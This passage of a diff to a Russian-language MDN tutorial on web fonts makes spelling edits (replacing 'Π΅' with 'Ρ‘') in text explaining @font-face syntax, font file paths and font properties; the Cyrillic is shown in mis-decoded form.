<li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» <code>stylesheet.css</code> ΠΈ скопируйтС содСрТимоС ΠΎΠ±ΠΎΠΈΡ… <code>@font-face</code> Π±Π»ΠΎΠΊΠΎΠ² Π² ваш Ρ„Π°ΠΉΠ» <code>web-font-start.css</code> β€” Π²Π°ΠΌ Π½Π°Π΄ΠΎ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΈΡ… Π² самый Π²Π΅Ρ€Ρ…, Π΄ΠΎ любого вашСго CSS, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ смоТСтС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π½Π° вашСм сайтС.</li>
<li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ <code>url()</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ„Π°ΠΉΠ» ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π² наш CSS β€” ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡƒΡ‚ΠΈ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ Π²Π΅Ρ€Π½Ρ‹Π΅, поэтому Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ <code>fonts/</code> Π² Π½Π°Ρ‡Π°Π»ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΡƒΡ‚ΠΈ (настройтС Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ).</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ Π² Π²Π°ΡˆΠΈΡ… стСках ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², ΠΊΠ°ΠΊ ΠΈ любой Π²Π΅Π±-бСзопасный ΠΈΠ»ΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ ΡΠΈΡΡ‚Π΅ΠΌΠ½Ρ‹ΠΉ ΡˆΡ€ΠΈΡ„Ρ‚. НапримСр:</li>
@@ -143,7 +143,7 @@ original_slug: Learn/CSS/Styling_text/Π’Π΅Π±_ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Ρ‹ с ΠΏΡ€Π°Π²ΠΎΠΉ стороны Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Ρ‚ΠΈΠΏΡ‹ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΏΠ°Ρ€Ρƒ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ понравятся.</li>
<li>Для Π²Ρ‹Π±ΠΎΡ€Π° сСмСйства ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ βŠ• рядом с Π½ΠΈΠΌ.</li>
<li>Когда Π²Ρ‹ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ сСмСйства ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° панСль <em>[Number] Families Selected</em> Π² Π½ΠΈΠ·Ρƒ страницы.</li>
- <li>На ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠΌ экранС, сначала Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ HTML ΠΊΠΎΠ΄Π° ΠΈ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ Π² head вашСго HTML Ρ„Π°ΠΉΠ»Π°. Π’ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π²Ρ‹ΡˆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎΒ {{htmlelement("link")}} элСмСнта для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ± ΡˆΡ€ΠΈΡ„Ρ‚ импортировался Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠΌ Π² вашСм CSS.</li>
+ <li>На ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠΌ экранС, сначала Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ HTML ΠΊΠΎΠ΄Π° ΠΈ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² head вашСго HTML Ρ„Π°ΠΉΠ»Π°. Π’ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π²Ρ‹ΡˆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎΒ {{htmlelement("link")}} элСмСнта для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ± ΡˆΡ€ΠΈΡ„Ρ‚ импортировался Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠΌ Π² вашСм CSS.</li>
<li>Π”Π°Π»Π΅Π΅ Π²Π°ΠΌ Π½Π°Π΄ΠΎ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ CSS-объявлСния<span class="tlid-translation translation" lang="ru"><span title="">, пСрСчислСнныС Π² вашСм CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ HTML.</span></span></li>
</ol>
@@ -167,16 +167,16 @@ original_slug: Learn/CSS/Styling_text/Π’Π΅Π±_ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹
font-style: normal;
}</pre>
-<p>Π­Ρ‚ΠΎ называСтся "ΠΏΡƒΠ»Π΅Π½Π΅ΠΏΡ€ΠΎΠ±ΠΈΠ²Π°Π΅ΠΌΡ‹ΠΌ @font-face синтаксисом", послС ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Пола ΠΠΉΡ€ΠΈΡˆΠ° (Paul Irish), с самого Π½Π°Ρ‡Π°Π»Π°, ΠΊΠΎΠ³Π΄Π° <code>@font-face</code> Π½Π°Ρ‡Π°Π» ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΏΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ (<a href="https://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/">Bulletproof @font-face Syntax</a>). Π”Π°Π²Π°ΠΉΡ‚Π΅ пройдСмся ΠΏΠΎ Π½Π΅ΠΌΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄Π΅Π»Π°Π΅Ρ‚:</p>
+<p>Π­Ρ‚ΠΎ называСтся "ΠΏΡƒΠ»Π΅Π½Π΅ΠΏΡ€ΠΎΠ±ΠΈΠ²Π°Π΅ΠΌΡ‹ΠΌ @font-face синтаксисом", послС ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Пола ΠΠΉΡ€ΠΈΡˆΠ° (Paul Irish), с самого Π½Π°Ρ‡Π°Π»Π°, ΠΊΠΎΠ³Π΄Π° <code>@font-face</code> Π½Π°Ρ‡Π°Π» ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΏΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ (<a href="https://www.paulirish.com/2009/bulletproof-font-face-implementation-syntax/">Bulletproof @font-face Syntax</a>). Π”Π°Π²Π°ΠΉΡ‚Π΅ пройдёмся ΠΏΠΎ Π½Π΅ΠΌΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄Π΅Π»Π°Π΅Ρ‚:</p>
<ul>
<li><code>font-family</code>: Π’ этой строкС указываСтся имя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для обозначСния ΡˆΡ€ΠΈΡ„Ρ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΊΠ°ΠΊ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π΅Π³ΠΎ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π² вашСм CSS.</li>
- <li><code>src</code>: Π’ этой строкС указываСтся ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π² ваш CSS (<code>url</code> ΠΏΡƒΡ‚ΡŒ) ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° (<code>format</code> Ρ‡Π°ΡΡ‚ΡŒ). ПослСдняя Ρ‡Π°ΡΡ‚ΡŒ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°, Π½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это позволяСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ быстрСС Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. ΠœΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ пСрСчислСны нСсколько объявлСний, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми β€” Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΊΠ°Ρ‚ΡŒ срСди Π½ΠΈΡ… ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΉΠ΄Π΅Ρ‚ ΠΈ Ρ‚ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ β€” поэтому Π»ΡƒΡ‡ΡˆΠ΅ всСго ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅, Π»ΡƒΡ‡ΡˆΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ WOFF2 Π² Π½Π°Ρ‡Π°Π»ΠΎ, Π° старыС, Π½Π΅ Ρ‚Π°ΠΊΠΈΠ΅ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ ΠΊΠ°ΠΊ TTF Π² ΠΊΠΎΠ½Π΅Ρ†. ЕдинствСнноС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ это EOT ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ β€” ΠΎΠ½ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Ρƒ Π±Π°Π³ΠΎΠ² Π² старых вСрсиях IE ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ постараСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π²Π΅Ρ‰ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½Π°ΠΉΠ΄Π΅Ρ‚, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ Π½Π΅ ΡƒΠΌΠ΅Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΡˆΡ€ΠΈΡ„Ρ‚.</li>
+ <li><code>src</code>: Π’ этой строкС указываСтся ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ„Π°ΠΉΠ»Π°ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π² ваш CSS (<code>url</code> ΠΏΡƒΡ‚ΡŒ) ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° (<code>format</code> Ρ‡Π°ΡΡ‚ΡŒ). ПослСдняя Ρ‡Π°ΡΡ‚ΡŒ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°, Π½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это позволяСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ быстрСС Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. ΠœΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ пСрСчислСны нСсколько объявлСний, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми β€” Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΊΠ°Ρ‚ΡŒ срСди Π½ΠΈΡ… ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ ΠΈ Ρ‚ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ β€” поэтому Π»ΡƒΡ‡ΡˆΠ΅ всСго ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅, Π»ΡƒΡ‡ΡˆΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ WOFF2 Π² Π½Π°Ρ‡Π°Π»ΠΎ, Π° старыС, Π½Π΅ Ρ‚Π°ΠΊΠΈΠ΅ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ ΠΊΠ°ΠΊ TTF Π² ΠΊΠΎΠ½Π΅Ρ†. ЕдинствСнноС ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ это EOT ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ β€” ΠΎΠ½ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Ρ‹ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Ρƒ Π±Π°Π³ΠΎΠ² Π² старых вСрсиях IE ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ постараСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π²Π΅Ρ‰ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½Π°ΠΉΠ΄Ρ‘Ρ‚, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ Π½Π΅ ΡƒΠΌΠ΅Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΡˆΡ€ΠΈΡ„Ρ‚.</li>
<li>{{cssxref("font-weight")}}/{{cssxref("font-style")}}: Π’ этих строках указываСтся ΠΊΠ°ΠΊΡƒΡŽ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Ρƒ ΠΈΠΌΠ΅Π΅Ρ‚ ΡˆΡ€ΠΈΡ„Ρ‚ ΠΈ являСтся Π»ΠΈ ΠΎΠ½ курсивом ΠΈΠ»ΠΈ Π½Π΅Ρ‚. Если Π²Ρ‹ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Ρ‹ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ какая Ρƒ Π½ΠΈΡ… Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Π°/ΡΡ‚ΠΈΠ»ΡŒ ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ значСния {{cssxref("font-weight")}}/{{cssxref("font-style")}} для Π²Ρ‹Π±ΠΎΡ€Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ, <span class="tlid-translation translation" lang="ru"><span title="">вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ всСх Ρ€Π°Π·Π½Ρ‹Ρ… Ρ‡Π»Π΅Π½ΠΎΠ² сСмСйства ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ. </span></span><a href="http://www.456bereastreet.com/archive/201012/font-face_tip_define_font-weight_and_font-style_to_keep_your_css_simple/">@font-face совСт: установитС font-weight ΠΈ font-style Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваш CSS Π±Ρ‹Π» простым</a> ΠΎΡ‚ Π ΠΎΠ΄ΠΆΠ΅Ρ€Π° ДТонсона (Roger Johansson) ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ.</li>
</ul>
<div class="note">
-<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ значСния {{cssxref("font-variant")}} ΠΈ {{cssxref("font-stretch")}} для Π²Π°ΡˆΠΈΡ… Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². Π’ Π½ΠΎΠ²Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{cssxref("unicode-range")}}, <span class="tlid-translation translation" lang="ru"><span title="">ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΎΠΌ символов</span></span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ· Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Π°Β β€” Π² ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ символы, сохраняя ΠΎΡ‚ Π½Π΅Π½ΡƒΠΆΠ½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. <a href="https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/">Creating Custom Font Stacks with Unicode-Range</a> ΠΎΡ‚ Drew McLellan прСдоставляСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ ΠΈΠ΄Π΅ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ</p>
+<p><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅</strong>: Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ значСния {{cssxref("font-variant")}} ΠΈ {{cssxref("font-stretch")}} для Π²Π°ΡˆΠΈΡ… Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². Π’ Π½ΠΎΠ²Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{cssxref("unicode-range")}}, <span class="tlid-translation translation" lang="ru"><span title="">ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΎΠΌ символов</span></span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ· Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚Π°Β β€” Π² ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ символы, сохраняя ΠΎΡ‚ Π½Π΅Π½ΡƒΠΆΠ½ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ. <a href="https://24ways.org/2011/creating-custom-font-stacks-with-unicode-range/">Creating Custom Font Stacks with Unicode-Range</a> ΠΎΡ‚ Drew McLellan прСдоставляСт 